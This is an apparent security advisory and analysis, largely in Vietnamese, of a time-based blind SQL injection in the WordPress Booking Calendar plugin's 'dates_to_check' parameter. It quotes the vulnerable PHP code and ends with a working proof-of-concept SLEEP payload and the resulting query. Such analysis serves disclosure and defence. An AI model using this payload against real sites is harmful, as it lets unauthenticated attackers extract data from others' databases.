CVE-2025-14383
1. Overview
CVE-2025-14383: The Booking Calendar plugin for WordPress is vulnerable to time-based blind SQL Injection via the ‘dates_to_check’ parameter in all versions up to, and including, 10.14.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Warning: This article is for research and educational purposes only. Attacking the system is prohibited and is against the law
2. Analysis
Lỗ hổng nằm ở file capacity.php không lọc kĩ tham số dates_to_check mà đưa vào câu truy vấn dẫn đến thực thi SQL injection.
Cụ thể trong hàm wpbc__sql__get_booking_dates nhận tham số và xử lý. Các tham số này sẽ đưa vào câu truy vấn SQL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function wpbc__sql__get_booking_dates( $params ){
// ...[Đoạn code nhận tham số và xử lý]...
$where_dates = wpbc_get__sql_where__for__dates( $params );
if ( class_exists('wpdev_bk_biz_l') ) {
$my_sql = "SELECT ... WHERE 1 = 1 {$where_dates} AND ...";
} else if ( class_exists('wpdev_bk_biz_m') ) {
$my_sql = "SELECT ... WHERE 1 = 1 {$where_dates} AND ...";
} else {
$my_sql = "SELECT ... WHERE 1 = 1 {$where_dates} AND ...";
}
// ....
return $sql__dates_obj__arr;
}
Tham số $where_dates sẽ lấy giá trị từ hàm wpbc__sql__get_booking_dates. Lỗ hổng nằm ở việc xử lý mảng dates_to_check. Khi tham số này là một mảng, code sẽ lặp qua các phần tử và đưa chúng trực tiếp vào câu truy vấn mà không có santitize.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function wpbc_get__sql_where__for__dates( $params ) {
// ... (lược bỏ các kiểm tra ALL/CURDATE) ...
} else if ( is_array( $params['dates_to_check'] ) ) {
if ( 2 === count( $params['dates_to_check'] ) ) {
// VULNERABLE: Nối trực tiếp phần tử index 0 và 1 vào chuỗi SQL
$dates_sql_str = " ( ( dt.booking_date >= '{$params['dates_to_check'][0]} 00:00:00' )
AND ( dt.booking_date <= '{$params['dates_to_check'][1]} 23:59:59' ) )";
} else if ( 1 === count( $params['dates_to_check'] ) ) {
// VULNERABLE: Nối trực tiếp phần tử index 0
$dates_sql_str = " ( dt.booking_date >= '{$params['dates_to_check'][0]} 00:00:00' ) ";
} else {
$dates_sql_array = array();
for( $i = 0; $i < count( $params['dates_to_check'] ); $i++) {
// VULNERABLE: Vòng lặp nối mọi phần tử trong mảng vào query
$dates_sql_array[] = "( ( dt.booking_date >= '{$params['dates_to_check'][$i]} 00:00:00' ) ... )";
}
$dates_sql_str = implode( ' OR ', $dates_sql_array );
}
return " AND ( {$dates_sql_str} ) " ;
}
// ...
3. Proof of Concept
Từ đây ta có thể tạo payload như sau ' ) ) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)#.
Giải thích:
'là để đóng dấu ngoặc đơn (') của câu truy vấn.))là để đóng 2 dấu ngoặc đơn ((().AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)thực hiện câu lệnh ngủ 5s#dấu comment - sẽ bỏ qua các câu lệnh ở đằng sau đó.
Khi ghép lại thì câu truy vấn sẽ như này
SELECT ... WHERE 1=1 AND ( ((dt.booking_date >= '' ) ) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)# ...

